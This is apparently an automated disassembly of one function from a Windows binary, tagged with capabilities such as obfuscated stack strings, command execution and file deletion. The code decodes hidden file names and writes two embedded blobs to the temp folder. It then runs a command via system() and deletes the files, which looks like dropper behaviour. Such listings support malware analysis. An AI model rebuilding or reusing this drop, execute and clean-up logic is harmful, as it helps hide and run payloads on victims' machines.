Function at 0x140048450
Capabilities:
Contain obfuscated stackstrings
Delete file
Execute command
Get common file path

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x3c8]
sub rsp, 0x4c0
movaps xmmword [rax - 0x18], xmm6
mov rax, qword [0x1400e2080]
xor rax, rsp
mov qword [rbp + 0x3a0], rax
xor r14d, r14d
xorps xmm0, xmm0
movups xmmword [rbp + 0xe8], xmm0
movdqa xmm6, xmmword [0x1400d03b0]
movdqu xmmword [rbp + 0xf8], xmm6
mov word [rbp + 0xe8], r14w
lea rdx, [rbp + 0x190]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x1400485fa
lea rdx, [rbp + 0x190]
lea rcx, [rsp + 0x58]
call fcn.14004f3a0
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x110], xmm0
movups xmmword [rbp + 0x120], xmm0
movups xmmword [rbp + 0x130], xmm0
movups xmmword [rbp + 0x140], xmm0
movups xmmword [rbp + 0x150], xmm0
movups xmmword [rbp + 0x160], xmm0
movups xmmword [rbp + 0x170], xmm0
mov qword [rbp + 0x180], rax
lea rcx, [rbp + 0x110]
call fcn.14004d2e0
nop
lea r8, [rsp + 0x58]
cmp qword [rsp + 0x70], 8
cmovae r8, qword [rsp + 0x58]
mov rax, qword [rsp + 0x68]
lea r9, [r8 + rax*2]
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x110]
call fcn.14004fbf0
nop
lea rcx, [rbp + 0x110]
call fcn.14004d1f0
mov rdx, qword [reloc.WS2_32.dll_ntohs]
cmp rdx, 0x10
jb 0x140048597
mov rcx, qword [0x1401103f8]
inc rdx
cmp rdx, 0x1000
jb 0x140048592
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400485ee
mov rcx, r8
call fcn.1400b5b0c
movups xmm0, xmmword [rsp + 0x78]
movups xmmword [0x1401103f8], xmm0
movups xmm1, xmmword [rbp - 0x78]
movups xmmword [0x140110408], xmm1
mov rdx, qword [rsp + 0x70]
cmp rdx, 8
jb 0x1400485fa
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400485f5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400485f5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.1400b5b0c
mov dword [rsp + 0x30], 0x202a2b34
mov dword [rsp + 0x34], 0x333a663e
mov word [rsp + gethostname], 0x38
mov byte [rsp + 0x3a], 1
lea r8, [rsp + 0x30]
lea rcx, [rsp + 0x78]
call fcn.140048c40
nop
cmp qword [rax + 0x18], 0x10
jb 0x140048630
mov rax, qword [rax]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov rdx, rax
lea rcx, [rbp - 0x20]
call fcn.14004d9f0
nop
mov r8d, 0x3470
lea rdx, [0x1400e20c0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
nop
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea rbx, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x20], rbx
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x24], edx
lea rcx, [rbp - 0x18]
call fcn.14004e820
lea rcx, [rbp - 0x10]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x88]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x1400486e0
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400486db
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400486db
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b5b0c
mov dword [rsp + 0x30], 0x3635252e
mov dword [rsp + 0x34], 0x322c6626
mov word [rsp + 0x38], reloc.WLDAP32.dll_Ordinal_46
mov byte [rsp + 0x3a], 1
lea r8, [rsp + 0x30]
lea rcx, [rsp + 0x78]
call fcn.140048c40
nop
cmp qword [rax + 0x18], 0x10
jb 0x140048716
mov rax, qword [rax]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov rdx, rax
lea rcx, [rbp - 0x20]
call fcn.14004d9f0
nop
mov r8d, 0x24800
lea rdx, [0x1400e5540]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
nop
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x20], rbx
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x24], edx
lea rcx, [rbp - 0x18]
call fcn.14004e820
lea rcx, [rbp - 0x10]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x88]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x1400487bf
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400487ba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400487ba
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b5b0c
mov dword [rsp + 0x30], 0x202a2b34
mov dword [rsp + 0x34], 0x333a663e
mov word [rsp + gethostname], 0x38
mov byte [rsp + 0x3a], 1
lea r8, [rsp + 0x30]
lea rcx, [rbp - 0x68]
call fcn.140048c40
mov rbx, rax
mov dword [rsp + 0x40], 0x3635252e
mov dword [rsp + 0x44], 0x322c6626
mov word [rsp + 0x48], reloc.WLDAP32.dll_Ordinal_46
mov byte [rsp + 0x4a], 1
lea r8, [rsp + 0x40]
lea rcx, [rsp + 0x78]
call fcn.140048c40
nop
mov r8d, 1
lea rdx, [0x1400cf868]
mov rcx, rax
call fcn.14004f6c0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x30], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov r9, rbx
lea r8, [rbp - 0x40]
movzx edx, byte [rsp + 0x50]
lea rcx, [rsp + 0x58]
call fcn.1400529b0
lea rcx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
cmovae rcx, qword [rsp + 0x58]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x1400488b8
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400488b3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400488b3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b5b0c
movdqa xmm0, xmmword [0x1400d03c0]
movdqu xmmword [rsp + 0x68], xmm0
mov byte [rsp + 0x58], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x14004890a
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140048904
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140048904
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b5b0c
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x140048949
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140048944
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140048944
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b5b0c
movdqa xmm0, xmmword [0x1400d03c0]
movdqu xmmword [rbp - 0x78], xmm0
mov byte [rsp + 0x78], 0
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x140048999
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140048994
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140048994
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b5b0c
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x40], 0x3635252e
mov dword [rsp + 0x44], 0x322c6626
mov word [rsp + 0x48], reloc.WLDAP32.dll_Ordinal_46
mov byte [rsp + 0x4a], 1
lea r8, [rsp + 0x40]
lea rcx, [rbp - 0x68]
call fcn.140048c40
mov rbx, rax
lea rsi, [0x140110458]
cmp rsi, rax
je 0x140048a55
mov rdx, qword [reloc.WS2_32.dll_ntohs]
cmp rdx, 0x10
jb 0x140048a1a
mov rcx, qword [0x140110458]
inc rdx
cmp rdx, 0x1000
jb 0x140048a15
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140048a87
mov rcx, r8
call fcn.1400b5b0c
movdqa xmm0, xmmword [0x1400d03c0]
movdqu xmmword [0x140110468], xmm0
mov byte [0x140110458], 0
movups xmm0, xmmword [rbx]
movups xmmword [0x140110458], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [0x140110468], xmm1
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x140048a93
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140048a8e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140048a8e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b5b0c
mov dword [rsp + 0x40], 0x202a2b34
mov dword [rsp + 0x44], 0x333a663e
mov word [rsp + 0x48], gethostname
mov byte [rsp + 0x4a], 1
lea r8, [rsp + 0x40]
lea rcx, [rbp - 0x68]
call fcn.140048c40
mov rbx, rax
lea rdi, [0x140110438]
cmp rdi, rax
je 0x140048b44
mov rdx, qword [reloc.WS2_32.dll_ntohs]
cmp rdx, 0x10
jb 0x140048b09
mov rcx, qword [0x140110438]
inc rdx
cmp rdx, 0x1000
jb 0x140048b04
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140048b76
mov rcx, r8
call fcn.1400b5b0c
movdqa xmm0, xmmword [0x1400d03c0]
movdqu xmmword [0x140110448], xmm0
mov byte [0x140110438], 0
movups xmm0, xmmword [rbx]
movups xmmword [0x140110438], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [0x140110448], xmm1
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x140048b82
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140048b7d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140048b7d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b5b0c
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rsi, qword [0x140110458]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rdi, qword [0x140110438]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
nop
psrldq xmm6, 8
movq rdx, xmm6
cmp rdx, 8
jb 0x140048c01
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xe8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140048bfc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140048bfc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b5b0c
mov rcx, qword [rbp + 0x3a0]
xor rcx, rsp
call fcn.1400b5780
lea r11, [rsp + 0x4c0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop rbp
ret